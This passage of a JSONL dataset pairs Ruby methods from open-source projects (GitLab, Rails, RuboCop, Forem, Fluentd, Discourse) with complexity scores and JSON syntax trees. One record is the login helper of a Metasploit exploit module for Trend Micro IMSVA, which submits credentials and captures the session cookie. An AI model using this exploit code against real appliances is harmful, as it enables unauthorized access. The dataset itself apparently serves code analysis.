end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"project_pages_metadata\"]},{\"type\":\"sym\",\"children\":[\"deployed\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"project_pages_metadata\"]},{\"type\":\"sym\",\"children\":[\"pages_deployment_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"pages_deployments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"pages_deployment_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEXES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}]}","id":"ed87f3a1-27a1-41cb-9874-5cdc9623f5d7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":754,"raw_source":"def test_options_are_not_validated\n    migration = Class.new(migration_class) {\n      def migrate(x)\n        create_table :tests, wrong_id: false do |t|\n          t.references :some_table, wrong_primary_key: true\n          t.integer :some_id, wrong_unique: true\n          t.string :some_string_column, wrong_null: false\n        end\n\n        add_column :tests, \"last_name\", :string, wrong_precision: true\n\n        change_column :tests, :some_id, :float, wrong_index: true\n\n        add_reference :tests, :another_table, invalid_option: :something\n\n        change_table :tests do |t|\n          t.change :some_id, :float, null: false, wrong_index: true\n          t.integer :another_id, wrong_unique: true\n          t.references :yet_another_table, bad: :option\n        end\n      end\n    }.new\n\n    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n\n    assert connection.table_exists?(:tests)\n  ensure\n    connection.drop_table :tests, if_exists: true\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_options_are_not_validated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"migration_class\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"some_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_primary_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"some_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"some_string_column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_precision\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"sym\",\"children\":[\"some_id\"]},{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_reference\",{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"sym\",\"children\":[\"another_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"invalid_option\"]},{\"type\":\"sym\",\"children\":[\"something\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"tests\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"some_id\"]},{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"another_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"yet_another_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bad\"]},{\"type\":\"sym\",\"children\":[\"option\"]}]}]}]}]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"table_exists?\",{\"type\":\"sym\",\"children\":[\"tests\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"4edc39a4-270f-4f4a-b1fd-484b697f03b8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_parenthesis_indentation.rb","start_line":79,"raw_source":"def on_send(node)\n          check(node, node.arguments)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]}]}]}","id":"0ff6687a-ebed-49cc-a61a-8f49f900c31e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240618121521_queue_backfill_vulnerability_findings_remediations_project_id.rb","start_line":12,"raw_source":"def up\n    Gitlab::Database::QueryAnalyzers::Base.suppress_schema_issues_for_decomposed_tables do\n      queue_batched_background_migration(\n        MIGRATION,\n        :vulnerability_findings_remediations,\n        :id,\n        :project_id,\n        :vulnerability_occurrences,\n        :project_id,\n        :vulnerability_occurrence_id,\n        job_interval: DELAY_INTERVAL,\n        batch_size: BATCH_SIZE,\n        sub_batch_size: SUB_BATCH_SIZE\n      )\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"QueryAnalyzers\"]},\"Base\"]},\"suppress_schema_issues_for_decomposed_tables\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_findings_remediations\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_occurrences\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_occurrence_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]}]}]}]}","id":"84047964-7e4f-46b3-873f-5f9a2cf7a297"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/spec/fixtures/html_formatter/project/app/models/book.rb","start_line":2,"raw_source":"def someMethod\n    foo = bar = baz\n    qux(quux.scan(/&amp;&lt;/))\n    Regexp.new(/\\A<p>(.*)<\\/p>\\Z/m).match(full_document)[1] rescue full_document\n  end","complexity_score":14.43,"ast_json":"{\"type\":\"def\",\"children\":[\"someMethod\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"lvasgn\",\"children\":[\"bar\",{\"type\":\"send\",\"children\":[null,\"baz\"]}]}]},{\"type\":\"send\",\"children\":[null,\"qux\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quux\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"&amp;&lt;\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A<p>(.*)</p>\\\\Z\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},\"match\",{\"type\":\"send\",\"children\":[null,\"full_document\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"full_document\"]}]},null]}]}]}","id":"aa52f3c8-a8f6-4c1f-9aee-ac4b9f304a45"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":120,"raw_source":"def send_moderation_notification(notifiable)\n      return unless [Comment, Article].include?(notifiable.class)\n\n      if notifiable.instance_of?(Comment) && UserBlock.blocking?(notifiable.commentable.user_id, notifiable.user_id)\n        return\n      end\n\n      Notifications::CreateRoundRobinModerationNotificationsWorker.perform_async(notifiable.id, notifiable.class.to_s)\n    end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_moderation_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notifiable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},{\"type\":\"const\",\"children\":[null,\"Article\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"class\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserBlock\"]},\"blocking?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"commentable\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"user_id\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"CreateRoundRobinModerationNotificationsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"class\"]},\"to_s\"]}]}]}]}","id":"2090f97e-6200-42c0-add7-459564bc51bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/trend_micro_imsva_exec.rb","start_line":70,"raw_source":"def login\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD']\n\n    print_status(\"Attempting to login with #{user}:#{pass}\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'login.imss'),\n      'vars_post' => {\n        'userid' => user,\n        'pwdfake' => Rex::Text::encode_base64(pass)\n      }\n    })\n\n    if res && res.body.include?(\"The user name or password you entered is invalid\")\n      fail_with(Failure::NoAccess, \"#{peer} - Login with #{user}:#{pass} failed...\")\n    end\n\n    cookie = res.get_cookies\n    if res.code == 302 && cookie.include?(\"JSESSIONID\")\n      jsessionid = cookie.scan(/JSESSIONID=(\\w+);/).flatten.first\n      print_good(\"Authenticated as #{user}:#{pass}\")\n      return jsessionid\n    end\n\n    nil\n  end","complexity_score":36.03,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to login with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login.imss\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pwdfake\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"The user name or password you entered is invalid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Login with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\" failed...\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"include?\",{\"type\":\"str\",\"children\":[\"JSESSIONID\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jsessionid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=(\\\\w+);\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jsessionid\"]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"a9be77a8-f177-48ab-a213-4377440614d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/label.rb","start_line":273,"raw_source":"def hook_attrs\n    {\n      id: id,\n      title: title,\n      color: color,\n      project_id: project_id,\n      created_at: created_at,\n      updated_at: updated_at,\n      template: template,\n      description: description,\n      type: type,\n      group_id: group_id\n    }\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"send\",\"children\":[null,\"color\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[null,\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[null,\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"group_id\"]}]}]}]}","id":"646ca56f-4223-4a24-b2fb-daf055682222"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/concerns/reactable.rb","start_line":13,"raw_source":"def sync_reactions_count\n    update_column(:public_reactions_count, reactions.public_category.size)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_reactions_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"public_reactions_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reactions\"]},\"public_category\"]},\"size\"]}]}]}","id":"ebd29280-c2f1-4a30-9eec-1664252eed70"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/fluent_log_event_router.rb","start_line":85,"raw_source":"def initialize(event_router)\n      @event_router = event_router\n      @thread = nil\n      @graceful_stop = false\n      @event_queue = Queue.new\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_router\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_router\",{\"type\":\"lvar\",\"children\":[\"event_router\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@graceful_stop\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@event_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queue\"]},\"new\"]}]}]}]}","id":"d2ab4b62-8471-44d3-b3cc-623685e5261d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-oauth2-basic/lib/oauth2_basic_authenticator.rb","start_line":145,"raw_source":"def log(info)\n    Rails.logger.warn(\"OAuth2 Debugging: #{info}\") if SiteSetting.oauth2_debug_auth\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"oauth2_debug_auth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OAuth2 Debugging: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]},null]}]}","id":"8c1f9767-601b-4a56-bea7-b90c3bd595c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/admin/sessions_controller_spec.rb","start_line":226,"raw_source":"def authenticate_2fa(user_params)\n          post(:create, params: { user: user_params }, session: { otp_user_id: user.id })\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_2fa\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_params\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user_params\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"otp_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]}]}]}","id":"b61a9aa0-c22d-4825-b3e8-058947ac39db"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/engine.rb","start_line":54,"raw_source":"def init(system_config, supervisor_mode: false, start_in_parallel: false)\n      @system_config = system_config\n      @supervisor_mode = supervisor_mode\n\n      @suppress_config_dump = system_config.suppress_config_dump unless system_config.suppress_config_dump.nil?\n      @without_source = system_config.without_source unless system_config.without_source.nil?\n\n      @log_event_verbose = system_config.log_event_verbose unless system_config.log_event_verbose.nil?\n\n      @root_agent = RootAgent.new(log: log, system_config: @system_config, start_in_parallel: start_in_parallel)\n\n      self\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"init\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"system_config\"]},{\"type\":\"kwoptarg\",\"children\":[\"supervisor_mode\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"start_in_parallel\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@system_config\",{\"type\":\"lvar\",\"children\":[\"system_config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@supervisor_mode\",{\"type\":\"lvar\",\"children\":[\"supervisor_mode\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"suppress_config_dump\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@suppress_config_dump\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"suppress_config_dump\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"without_source\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@without_source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_confi